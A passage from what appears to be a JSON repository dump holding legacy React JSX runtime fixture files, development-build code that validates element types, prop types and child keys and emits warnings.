'\\n    in ' + (name || 'Unknown') + sourceInfo;\n}\n\nvar Resolved = 1;\nfunction refineResolvedLazyComponent(lazyComponent) {\n  return lazyComponent._status === Resolved ? lazyComponent._result : null;\n}\n\nfunction getWrappedName(outerType, innerType, wrapperName) {\n  var functionName = innerType.displayName || innerType.name || '';\n  return outerType.displayName || (functionName !== '' ? wrapperName + \"(\" + functionName + \")\" : wrapperName);\n}\n\nfunction getComponentName(type) {\n  if (type == null) {\n    // Host root, text node or just invalid type.\n    return null;\n  }\n\n  {\n    if (typeof type.tag === 'number') {\n      error('Received an unexpected object in getComponentName(). ' + 'This is likely a bug in React. Please file an issue.');\n    }\n  }\n\n  if (typeof type === 'function') {\n    return type.displayName || type.name || null;\n  }\n\n  if (typeof type === 'string') {\n    return type;\n  }\n\n  switch (type) {\n    case exports.Fragment:\n      return 'Fragment';\n\n    case REACT_PORTAL_TYPE:\n      return 'Portal';\n\n    case REACT_PROFILER_TYPE:\n      return \"Profiler\";\n\n    case REACT_STRICT_MODE_TYPE:\n      return 'StrictMode';\n\n    case REACT_SUSPENSE_TYPE:\n      return 'Suspense';\n\n    case REACT_SUSPENSE_LIST_TYPE:\n      return 'SuspenseList';\n  }\n\n  if (typeof type === 'object') {\n    switch (type.$$typeof) {\n      case REACT_CONTEXT_TYPE:\n        return 'Context.Consumer';\n\n      case REACT_PROVIDER_TYPE:\n        return 'Context.Provider';\n\n      case REACT_FORWARD_REF_TYPE:\n        return getWrappedName(type, type.render, 'ForwardRef');\n\n      case REACT_MEMO_TYPE:\n        return getComponentName(type.type);\n\n      case REACT_BLOCK_TYPE:\n        return getComponentName(type.render);\n\n      case REACT_LAZY_TYPE:\n        {\n          var thenable = type;\n          var resolvedThenable = refineResolvedLazyComponent(thenable);\n\n          if (resolvedThenable) {\n            return getComponentName(resolvedThenable);\n          }\n\n          break;\n        }\n    }\n  }\n\n  return null;\n}\nvar loggedTypeFailures = {};\nvar currentlyValidatingElement = null;\n\nfunction setCurrentlyValidatingElement(element) {\n  currentlyValidatingElement = element;\n}\n\nfunction checkPropTypes(typeSpecs, values, location, componentName, element) {\n  {\n    // $FlowFixMe This is okay but Flow doesn't know it.\n    var has = Function.call.bind(Object.prototype.hasOwnProperty);\n\n    for (var typeSpecName in typeSpecs) {\n      if (has(typeSpecs, typeSpecName)) {\n        var error$1 = void 0; // Prop type validation may throw. In case they do, we don't want to\n        // fail the render phase where it didn't fail before. So we log it.\n        // After these have been cleaned up, we'll let them throw.\n\n        try {\n          // This is intentionally an invariant that gets caught. It's the same\n          // behavior as without this statement except with a better message.\n          if (typeof typeSpecs[typeSpecName] !== 'function') {\n            var err = Error((componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.');\n            err.name = 'Invariant Violation';\n            throw err;\n          }\n\n          error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED');\n        } catch (ex) {\n          error$1 = ex;\n        }\n\n        if (error$1 && !(error$1 instanceof Error)) {\n          setCurrentlyValidatingElement(element);\n\n          error('%s: type specification of %s' + ' `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', location, typeSpecName, typeof error$1);\n\n          setCurrentlyValidatingElement(null);\n        }\n\n        if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {\n          // Only monitor this failure once because there tends to be a lot of the\n          // same error.\n          loggedTypeFailures[error$1.message] = true;\n          setCurrentlyValidatingElement(element);\n\n          error('Failed %s type: %s', location, error$1.message);\n\n          setCurrentlyValidatingElement(null);\n        }\n      }\n    }\n  }\n}\n\nvar ReactCurrentOwner = require('react/lib/ReactCurrentOwner');\nvar hasOwnProperty = Object.prototype.hasOwnProperty;\nvar RESERVED_PROPS = {\n  key: true,\n  ref: true,\n  __self: true,\n  __source: true\n};\nvar specialPropKeyWarningShown;\nvar specialPropRefWarningShown;\nvar didWarnAboutStringRefs;\n\n{\n  didWarnAboutStringRefs = {};\n}\n\nfunction hasValidRef(config) {\n  {\n    if (hasOwnProperty.call(config, 'ref')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'ref').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.ref !== undefined;\n}\n\nfunction hasValidKey(config) {\n  {\n    if (hasOwnProperty.call(config, 'key')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'key').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.key !== undefined;\n}\n\nfunction defineKeyPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingKey = function () {\n      if (!specialPropKeyWarningShown) {\n        specialPropKeyWarningShown = true;\n\n        error('%s: `key` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingKey.isReactWarning = true;\n    Object.defineProperty(props, 'key', {\n      get: warnAboutAccessingKey,\n      configurable: true\n    });\n  }\n}\n\nfunction defineRefPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingRef = function () {\n      if (!specialPropRefWarningShown) {\n        specialPropRefWarningShown = true;\n\n        error('%s: `ref` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingRef.isReactWarning = true;\n    Object.defineProperty(props, 'ref', {\n      get: warnAboutAccessingRef,\n      configurable: true\n    });\n  }\n}\n/**\n * Factory method to create a new React element. This no longer adheres to\n * the class pattern, so do not use new to call it. Also, instanceof check\n * will not work. Instead test $$typeof field against Symbol.for('react.element') to check\n * if something is a React Element.\n *\n * @param {*} type\n * @param {*} props\n * @param {*} key\n * @param {string|object} ref\n * @param {*} owner\n * @param {*} self A *temporary* helper to detect places where `this` is\n * different from the `owner` when React.createElement is called, so that we\n * can warn. We want to get rid of owner and replace string `ref`s with arrow\n * functions, and as long as `this` and owner are the same, there will be no\n * change in behavior.\n * @param {*} source An annotation object (added by a transpiler or otherwise)\n * indicating filename, line number, and/or other information.\n * @internal\n */\n\n\nvar ReactElement = function (type, key, ref, self, source, owner, props) {\n  var element = {\n    // This tag allows us to uniquely identify this as a React Element\n    $$typeof: REACT_ELEMENT_TYPE,\n    // Built-in properties that belong on the element\n    type: type,\n    key: key,\n    ref: ref,\n    props: props,\n    // Record the component responsible for creating this element.\n    _owner: owner\n  };\n\n  {\n    // The validation flag is currently mutative. We put it on\n    // an external backing store so that we can freeze the whole object.\n    // This can be replaced with a WeakMap once they are implemented in\n    // commonly used development environments.\n    element._store = {}; // To make comparing ReactElements easier for testing purposes, we make\n    // the validation flag non-enumerable (where possible, which should\n    // include every environment we run tests in), so the test framework\n    // ignores it.\n\n    Object.defineProperty(element._store, 'validated', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: false\n    }); // self and source are DEV only properties.\n\n    Object.defineProperty(element, '_self', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: self\n    }); // Two elements created in two different places should be considered\n    // equal for testing purposes and therefore we hide it from enumeration.\n\n    Object.defineProperty(element, '_source', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: source\n    });\n\n    if (Object.freeze) {\n      Object.freeze(element.props);\n      Object.freeze(element);\n    }\n  }\n\n  return element;\n};\n/**\n * https://github.com/reactjs/rfcs/pull/107\n * @param {*} type\n * @param {object} props\n * @param {string} key\n */\n\nfunction jsxDEV(type, config, maybeKey, source, self) {\n  {\n    var propName; // Reserved names are extracted\n\n    var props = {};\n    var key = null;\n    var ref = null; // Currently, key can be spread in as a prop. This causes a potential\n    // issue if key is also explicitly declared (ie. <div {...props} key=\"Hi\" />\n    // or <div key=\"Hi\" {...props} /> ). We want to deprecate key spread,\n    // but as an intermediary step, we will use jsxDEV for everything except\n    // <div {...props} key=\"Hi\" />, because we aren't currently able to tell if\n    // key is explicitly declared to be undefined or not.\n\n    if (maybeKey !== undefined) {\n      key = '' + maybeKey;\n    }\n\n    if (hasValidKey(config)) {\n      key = '' + config.key;\n    }\n\n    if (hasValidRef(config)) {\n      ref = config.ref;\n    } // Remaining properties are added to a new props object\n\n\n    for (propName in config) {\n      if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {\n        props[propName] = config[propName];\n      }\n    } // Resolve default props\n\n\n    if (type && type.defaultProps) {\n      var defaultProps = type.defaultProps;\n\n      for (propName in defaultProps) {\n        if (props[propName] === undefined) {\n          props[propName] = defaultProps[propName];\n        }\n      }\n    }\n\n    if (key || ref) {\n      var displayName = typeof type === 'function' ? type.displayName || type.name || 'Unknown' : type;\n\n      if (key) {\n        defineKeyPropWarningGetter(props, displayName);\n      }\n\n      if (ref) {\n        defineRefPropWarningGetter(props, displayName);\n      }\n    }\n\n    return ReactElement(type, key, ref, self, source, ReactCurrentOwner.current, props);\n  }\n}\n\nvar ReactCurrentOwner$1 = require('react/lib/ReactCurrentOwner');\n\nfunction setCurrentlyValidatingElement$1(element) {\n  currentlyValidatingElement = element;\n}\n\nvar propTypesMisspellWarningShown;\n\n{\n  propTypesMisspellWarningShown = false;\n}\n/**\n * Verifies the object is a ReactElement.\n * See https://reactjs.org/docs/react-api.html#isvalidelement\n * @param {?object} object\n * @return {boolean} True if `object` is a ReactElement.\n * @final\n */\n\nfunction isValidElement(object) {\n  {\n    return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;\n  }\n}\n\nfunction getDeclarationErrorAddendum() {\n  {\n    if (ReactCurrentOwner$1.current) {\n      var name = ReactCurrentOwner$1.current.getName();\n\n      if (name) {\n        return '\\n\\nCheck the render method of `' + name + '`.';\n      }\n    }\n\n    return '';\n  }\n}\n\nfunction getSourceInfoErrorAddendum(source) {\n  {\n    if (source !== undefined) {\n      var fileName = source.fileName.replace(/^.*[\\\\\\/]/, '');\n      var lineNumber = source.lineNumber;\n      return '\\n\\nCheck your code at ' + fileName + ':' + lineNumber + '.';\n    }\n\n    return '';\n  }\n}\n/**\n * Warn if there's no key explicitly set on dynamic arrays of children or\n * object keys are not valid. This allows us to keep track of children between\n * updates.\n */\n\n\nvar ownerHasKeyUseWarning = {};\n\nfunction getCurrentComponentErrorInfo(parentType) {\n  {\n    var info = getDeclarationErrorAddendum();\n\n    if (!info) {\n      var parentName = typeof parentType === 'string' ? parentType : parentType.displayName || parentType.name;\n\n      if (parentName) {\n        info = \"\\n\\nCheck the top-level render call using <\" + parentName + \">.\";\n      }\n    }\n\n    return info;\n  }\n}\n/**\n * Warn if the element doesn't have an explicit key assigned to it.\n * This element is in an array. The array could grow and shrink or be\n * reordered. All children that haven't already been validated are required to\n * have a \"key\" property assigned to it. Error statuses are cached so a warning\n * will only be shown once.\n *\n * @internal\n * @param {ReactElement} element Element that requires a key.\n * @param {*} parentType element's parent's type.\n */\n\n\nfunction validateExplicitKey(element, parentType) {\n  {\n    if (!element._store || element._store.validated || element.key != null) {\n      return;\n    }\n\n    element._store.validated = true;\n    var currentComponentErrorInfo = getCurrentComponentErrorInfo(parentType);\n\n    if (ownerHasKeyUseWarning[currentComponentErrorInfo]) {\n      return;\n    }\n\n    ownerHasKeyUseWarning[currentComponentErrorInfo] = true; // Usually the current owner is the offender, but if it accepts children as a\n    // property, it may be the creator of the child that's responsible for\n    // assigning it a key.\n\n    var childOwner = '';\n\n    if (element && element._owner && element._owner !== ReactCurrentOwner$1.current) {\n      // Give the component that originally created this child.\n      childOwner = \" It was passed a child from \" + element._owner.getName() + \".\";\n    }\n\n    setCurrentlyValidatingElement$1(element);\n\n    error('Each child in a list should have a unique \"key\" prop.' + '%s%s See https://reactjs.org/link/warning-keys for more information.', currentComponentErrorInfo, childOwner);\n\n    setCurrentlyValidatingElement$1(null);\n  }\n}\n/**\n * Ensure that every element either is passed in a static location, in an\n * array with an explicit keys property defined, or in an object literal\n * with valid key property.\n *\n * @internal\n * @param {ReactNode} node Statically passed child of any type.\n * @param {*} parentType node's parent's type.\n */\n\n\nfunction validateChildKeys(node, parentType) {\n  {\n    if (typeof node !== 'object') {\n      return;\n    }\n\n    if (Array.isArray(node)) {\n      for (var i = 0; i < node.length; i++) {\n        var child = node[i];\n\n        if (isValidElement(child)) {\n          validateExplicitKey(child, parentType);\n        }\n      }\n    } else if (isValidElement(node)) {\n      // This element was passed in a valid location.\n      if (node._store) {\n        node._store.validated = true;\n      }\n    } else if (node) {\n      var iteratorFn = getIteratorFn(node);\n\n      if (typeof iteratorFn === 'function') {\n        // Entry iterators used to provide implicit keys,\n        // but now we print a separate warning for them later.\n        if (iteratorFn !== node.entries) {\n          var iterator = iteratorFn.call(node);\n          var step;\n\n          while (!(step = iterator.next()).done) {\n            if (isValidElement(step.value)) {\n              validateExplicitKey(step.value, parentType);\n            }\n          }\n        }\n      }\n    }\n  }\n}\n/**\n * Given an element, validate that its props follow the propTypes definition,\n * provided by the type.\n *\n * @param {ReactElement} element\n */\n\n\nfunction validatePropTypes(element) {\n  {\n    var type = element.type;\n\n    if (type === null || type === undefined || typeof type === 'string') {\n      return;\n    }\n\n    var propTypes;\n\n    if (typeof type === 'function') {\n      propTypes = type.propTypes;\n    } else if (typeof type === 'object' && (type.$$typeof === REACT_FORWARD_REF_TYPE || // Note: Memo only checks outer props here.\n    // Inner props are checked in the reconciler.\n    type.$$typeof === REACT_MEMO_TYPE)) {\n      propTypes = type.propTypes;\n    } else {\n      return;\n    }\n\n    if (propTypes) {\n      // Intentionally inside to avoid triggering lazy initializers:\n      var name = getComponentName(type);\n      checkPropTypes(propTypes, element.props, 'prop', name, element);\n    } else if (type.PropTypes !== undefined && !propTypesMisspellWarningShown) {\n      propTypesMisspellWarningShown = true; // Intentionally inside to avoid triggering lazy initializers:\n\n      var _name = getComponentName(type);\n\n      error('Component %s declared `PropTypes` instead of `propTypes`. Did you misspell the property assignment?', _name || 'Unknown');\n    }\n\n    if (typeof type.getDefaultProps === 'function' && !type.getDefaultProps.isReactClassApproved) {\n      error('getDefaultProps is only used on classic React.createClass ' + 'definitions. Use a static property named `defaultProps` instead.');\n    }\n  }\n}\n/**\n * Given a fragment, validate that it can only be provided with fragment props\n * @param {ReactElement} fragment\n */\n\n\nfunction validateFragmentProps(fragment) {\n  {\n    var keys = Object.keys(fragment.props);\n\n    for (var i = 0; i < keys.length; i++) {\n      var key = keys[i];\n\n      if (key !== 'children' && key !== 'key') {\n        setCurrentlyValidatingElement$1(fragment);\n\n        error('Invalid prop `%s` supplied to `React.Fragment`. ' + 'React.Fragment can only have `key` and `children` props.', key);\n\n        setCurrentlyValidatingElement$1(null);\n        break;\n      }\n    }\n\n    if (fragment.ref !== null) {\n      setCurrentlyValidatingElement$1(fragment);\n\n      error('Invalid attribute `ref` supplied to `React.Fragment`.');\n\n      setCurrentlyValidatingElement$1(null);\n    }\n  }\n}\n\nfunction jsxWithValidation(type, props, key, isStaticChildren, source, self) {\n  {\n    var validType = isValidElementType(type); // We warn in this case but don't throw. We expect the element creation to\n    // succeed and there will likely be errors in render.\n\n    if (!validType) {\n      var info = '';\n\n      if (type === undefined || typeof type === 'object' && type !== null && Object.keys(type).length === 0) {\n        info += ' You likely forgot to export your component from the file ' + \"it's defined in, or you might have mixed up default and named imports.\";\n      }\n\n      var sourceInfo = getSourceInfoErrorAddendum(source);\n\n      if (sourceInfo) {\n        info += sourceInfo;\n      } else {\n        info += getDeclarationErrorAddendum();\n      }\n\n      var typeString;\n\n      if (type === null) {\n        typeString = 'null';\n      } else if (Array.isArray(type)) {\n        typeString = 'array';\n      } else if (type !== undefined && type.$$typeof === REACT_ELEMENT_TYPE) {\n        typeString = \"<\" + (getComponentName(type.type) || 'Unknown') + \" />\";\n        info = ' Did you accidentally export a JSX literal instead of a component?';\n      } else {\n        typeString = typeof type;\n      }\n\n      error('React.jsx: type is invalid -- expected a string (for ' + 'built-in components) or a class/function (for composite ' + 'components) but got: %s.%s', typeString, info);\n    }\n\n    var element = jsxDEV(type, props, key, source, self); // The result can be nullish if a mock or a custom function is used.\n    // TODO: Drop this when these are no longer allowed as the type argument.\n\n    if (element == null) {\n      return element;\n    } // Skip key warning if the type isn't valid since our key validation logic\n    // doesn't expect a non-string/function type and can throw confusing errors.\n    // We don't want exception behavior to differ between dev and prod.\n    // (Rendering will throw with a helpful message and as soon as the type is\n    // fixed, the key warnings will appear.)\n\n\n    if (validType) {\n      var children = props.children;\n\n      if (children !== undefined) {\n        if (isStaticChildren) {\n          if (Array.isArray(children)) {\n            for (var i = 0; i < children.length; i++) {\n              validateChildKeys(children[i], type);\n            }\n\n            if (Object.freeze) {\n              Object.freeze(children);\n            }\n          } else {\n            error('React.jsx: Static children should always be an array. ' + 'You are likely explicitly calling React.jsxs or React.jsxDEV. ' + 'Use the Babel transform instead.');\n          }\n        } else {\n          validateChildKeys(children, type);\n        }\n      }\n    }\n\n    if (type === exports.Fragment) {\n      validateFragmentProps(element);\n    } else {\n      validatePropTypes(element);\n    }\n\n    return element;\n  }\n} // These two functions exist to still get child warnings in dev\n\nvar jsxDEV$1 =  jsxWithValidation ;\n\nexports.jsxDEV = jsxDEV$1;\n  })();\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-14/cjs/react-jsx-runtime.development.js",
    "content": "/** @license React v0.14.10\n * react-jsx-runtime.development.js\n *\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nif (process.env.NODE_ENV !== \"production\") {\n  (function() {\n'use strict';\n\nvar React = require('react');\n\n// ATTENTION\n// When adding new symbols to this file,\n// Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'\n// The Symbol used to tag the ReactElement-like types. If there is no native Symbol\n// nor polyfill, then a plain number is used for performance.\nvar REACT_ELEMENT_TYPE = 0xeac7;\nvar REACT_PORTAL_TYPE = 0xeaca;\nexports.Fragment = 0xeacb;\nvar REACT_STRICT_MODE_TYPE = 0xeacc;\nvar REACT_PROFILER_TYPE = 0xead2;\nvar REACT_PROVIDER_TYPE = 0xeacd;\nvar REACT_CONTEXT_TYPE = 0xeace;\nvar REACT_FORWARD_REF_TYPE = 0xead0;\nvar REACT_SUSPENSE_TYPE = 0xead1;\nvar REACT_SUSPENSE_LIST_TYPE = 0xead8;\nvar REACT_MEMO_TYPE = 0xead3;\nvar REACT_LAZY_TYPE = 0xead4;\nvar REACT_BLOCK_TYPE = 0xead9;\nvar REACT_SERVER_BLOCK_TYPE = 0xeada;\nvar REACT_FUNDAMENTAL_TYPE = 0xead5;\nvar REACT_SCOPE_TYPE = 0xead7;\nvar REACT_OPAQUE_ID_TYPE = 0xeae0;\nvar REACT_DEBUG_TRACING_MODE_TYPE = 0xeae1;\nvar REACT_OFFSCREEN_TYPE = 0xeae2;\nvar REACT_LEGACY_HIDDEN_TYPE = 0xeae3;\n\nif (typeof Symbol === 'function' && Symbol.for) {\n  var symbolFor = Symbol.for;\n  REACT_ELEMENT_TYPE = symbolFor('react.element');\n  REACT_PORTAL_TYPE = symbolFor('react.portal');\n  exports.Fragment = symbolFor('react.fragment');\n  REACT_STRICT_MODE_TYPE = symbolFor('react.strict_mode');\n  REACT_PROFILER_TYPE = symbolFor('react.profiler');\n  REACT_PROVIDER_TYPE = symbolFor('react.provider');\n  REACT_CONTEXT_TYPE = symbolFor('react.context');\n  REACT_FORWARD_REF_TYPE = symbolFor('react.forward_ref');\n  REACT_SUSPENSE_TYPE = symbolFor('react.suspense');\n  REACT_SUSPENSE_LIST_TYPE = symbolFor('react.suspense_list');\n  REACT_MEMO_TYPE = symbolFor('react.memo');\n  REACT_LAZY_TYPE = symbolFor('react.lazy');\n  REACT_BLOCK_TYPE = symbolFor('react.block');\n  REACT_SERVER_BLOCK_TYPE = symbolFor('react.server.block');\n  REACT_FUNDAMENTAL_TYPE = symbolFor('react.fundamental');\n  REACT_SCOPE_TYPE = symbolFor('react.scope');\n  REACT_OPAQUE_ID_TYPE = symbolFor('react.opaque.id');\n  REACT_DEBUG_TRACING_MODE_TYPE = symbolFor('react.debug_trace_mode');\n  REACT_OFFSCREEN_TYPE = symbolFor('react.offscreen');\n  REACT_LEGACY_HIDDEN_TYPE = symbolFor('react.legacy_hidden');\n}\n\nvar MAYBE_ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;\nvar FAUX_ITERATOR_SYMBOL = '@@iterator';\nfunction getIteratorFn(maybeIterable) {\n  if (maybeIterable === null || typeof maybeIterable !== 'object') {\n    return null;\n  }\n\n  var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];\n\n  if (typeof maybeIterator === 'function') {\n    return maybeIterator;\n  }\n\n  return null;\n}\n\nfunction error(format) {\n  {\n    for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {\n      args[_key2 - 1] = arguments[_key2];\n    }\n\n    printWarning('error', format, args);\n  }\n}\n\nfunction printWarning(level, format, args) {\n  // When changing this logic, you might want to also\n  // update consoleWithStackDev.www.js as well.\n  {\n    var stack = '';\n\n    if (stack !== '') {\n      format += '%s';\n      args = args.concat([stack]);\n    }\n\n    var argsWithFormat = args.map(function (item) {\n      return '' + item;\n    }); // Careful: RN currently depends on this prefix\n\n    argsWithFormat.unshift('Warning: ' + format); // We intentionally don't use spread (or .apply) directly because it\n    // breaks IE9: https://github.com/facebook/react/issues/13610\n    // eslint-disable-next-line react-internal/no-production-logging\n\n    Function.prototype.apply.call(console[level], console, argsWithFormat);\n  }\n}\n\n// Filter certain DOM attributes (e.g. src, href) if their values are empty strings.\n\nvar enableScopeAPI = false; // Experimental Create Event Handle API.\n\nfunction isValidElementType(type) {\n  if (typeof type === 'string' || typeof type === 'function') {\n    return true;\n  } // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).\n\n\n  if (type === exports.Fragment || type === REACT_PROFILER_TYPE || type === REACT_DEBUG_TRACING_MODE_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || type === REACT_LEGACY_HIDDEN_TYPE || enableScopeAPI ) {\n    return true;\n  }\n\n  if (typeof type === 'object' && type !== null) {\n    if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_BLOCK_TYPE || type[0] === REACT_SERVER_BLOCK_TYPE) {\n      return true;\n    }\n  }\n\n  return false;\n}\n\n\nvar BEFORE_SLASH_RE = /^(.*)[\\\\\\/]/;\nfunction describeComponentFrame (name, source, ownerName) {\n  var sourceInfo = '';\n\n  if (source) {\n    var path = source.fileName;\n    var fileName = path.replace(BEFORE_SLASH_RE, '');\n\n    {\n      // In DEV, include code for a common special case:\n      // prefer \"folder/index.js\" instead of just \"index.js\".\n      if (/^index\\./.test(fileName)) {\n        var match = path.match(BEFORE_SLASH_RE);\n\n        if (match) {\n          var pathBeforeSlash = match[1];\n\n          if (pathBeforeSlash) {\n            var folderName = pathBeforeSlash.replace(BEFORE_SLASH_RE, '');\n            fileName = folderName + '/' + fileName;\n          }\n        }\n      }\n    }\n\n    sourceInfo = ' (at ' + fileName + ':' + source.lineNumber + ')';\n  } else if (ownerName) {\n    sourceInfo = ' (created by ' + ownerName + ')';\n  }\n\n  return '\\n    in ' + (name || 'Unknown') + sourceInfo;\n}\n\nvar Resolved = 1;\nfunction refineResolvedLazyComponent(lazyComponent) {\n  return lazyComponent._status === Resolved ? lazyComponent._result : null;\n}\n\nfunction getWrappedName(outerType, innerType, wrapperName) {\n  var functionName = innerType.displayName || innerType.name || '';\n  return outerType.displayName || (functionName !== '' ? wrapperName + \"(\" + functionName + \")\" : wrapperName);\n}\n\nfunction getComponentName(type) {\n  if (type == null) {\n    // Host root, text node or just invalid type.\n    return null;\n  }\n\n  {\n    if (typeof type.tag === 'number') {\n      error('Received an unexpected object in getComponentName(). ' + 'This is likely a bug in React. Please file an issue.');\n    }\n  }\n\n  if (typeof type === 'function') {\n    return type.displayName || type.name || null;\n  }\n\n  if (typeof type === 'string') {\n    return type;\n  }\n\n  switch (type) {\n    case exports.Fragment:\n      return 'Fragment';\n\n    case REACT_PORTAL_TYPE:\n      return 'Portal';\n\n    case REACT_PROFILER_TYPE:\n      return \"Profiler\";\n\n    case REACT_STRICT_MODE_TYPE:\n      return 'StrictMode';\n\n    case REACT_SUSPENSE_TYPE:\n      return 'Suspense';\n\n    case REACT_SUSPENSE_LIST_TYPE:\n      return 'SuspenseList';\n  }\n\n  if (typeof type === 'object') {\n    switch (type.$$typeof) {\n      case REACT_CONTEXT_TYPE:\n        return 'Context.Consumer';\n\n      case REACT_PROVIDER_TYPE:\n        return 'Context.Provider';\n\n      case REACT_FORWARD_REF_TYPE:\n        return getWrappedName(type, type.render, 'ForwardRef');\n\n      case REACT_MEMO_TYPE:\n        return getComponentName(type.type);\n\n      case REACT_BLOCK_TYPE:\n        return getComponentName(type.render);\n\n      case REACT_LAZY_TYPE:\n        {\n          var thenable = type;\n          var resolvedThenable = refineResolvedLazyComponent(thenable);\n\n          if (resolvedThenable) {\n            return getComponentName(resolvedThenable);\n          }\n\n          break;\n        }\n    }\n  }\n\n  return null;\n}\n\nvar loggedTypeFailures = {};\nvar currentlyValidatingElement = null;\n\nfunction setCurrentlyValidatingElement(element) {\n  {\n    currentlyValidatingElement = element;\n  }\n}\n\nfunction checkPropTypes(typeSpecs, values, location, componentName, element) {\n  {\n    // $FlowFixMe This is okay but Flow doesn't know it.\n    var has = Function.call.bind(Object.prototype.hasOwnProperty);\n\n    for (var typeSpecName in typeSpecs) {\n      if (has(typeSpecs, typeSpecName)) {\n        var error$1 = void 0; // Prop type validation may throw. In case they do, we don't want to\n        // fail the render phase where it didn't fail before. So we log it.\n        // After these have been cleaned up, we'll let them throw.\n\n        try {\n          // This is intentionally an invariant that gets caught. It's the same\n          // behavior as without this statement except with a better message.\n          if (typeof typeSpecs[typeSpecName] !== 'function') {\n            var err = Error((componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.');\n            err.name = 'Invariant Violation';\n            throw err;\n          }\n\n          error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED');\n        } catch (ex) {\n          error$1 = ex;\n        }\n\n        if (error$1 && !(error$1 instanceof Error)) {\n          setCurrentlyValidatingElement(element);\n\n          error('%s: type specification of %s' + ' `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', location, typeSpecName, typeof error$1);\n\n          setCurrentlyValidatingElement(null);\n        }\n\n        if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {\n          // Only monitor this failure once because there tends to be a lot of the\n          // same error.\n          loggedTypeFailures[error$1.message] = true;\n          setCurrentlyValidatingElement(element);\n\n          error('Failed %s type: %s', location, error$1.message);\n\n          setCurrentlyValidatingElement(null);\n        }\n      }\n    }\n  }\n}\n\nvar ReactCurrentOwner = require('react/lib/ReactCurrentOwner');\nvar hasOwnProperty = Object.prototype.hasOwnProperty;\nvar RESERVED_PROPS = {\n  key: true,\n  ref: true,\n  __self: true,\n  __source: true\n};\nvar specialPropKeyWarningShown;\nvar specialPropRefWarningShown;\nvar didWarnAboutStringRefs;\n\n{\n  didWarnAboutStringRefs = {};\n}\n\nfunction hasValidRef(config) {\n  {\n    if (hasOwnProperty.call(config, 'ref')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'ref').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.ref !== undefined;\n}\n\nfunction hasValidKey(config) {\n  {\n    if (hasOwnProperty.call(config, 'key')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'key').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.key !== undefined;\n}\n\nfunction defineKeyPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingKey = function () {\n      if (!specialPropKeyWarningShown) {\n        specialPropKeyWarningShown = true;\n\n        error('%s: `key` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingKey.isReactWarning = true;\n    Object.defineProperty(props, 'key', {\n      get: warnAboutAccessingKey,\n      configurable: true\n    });\n  }\n}\n\nfunction defineRefPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingRef = function () {\n      if 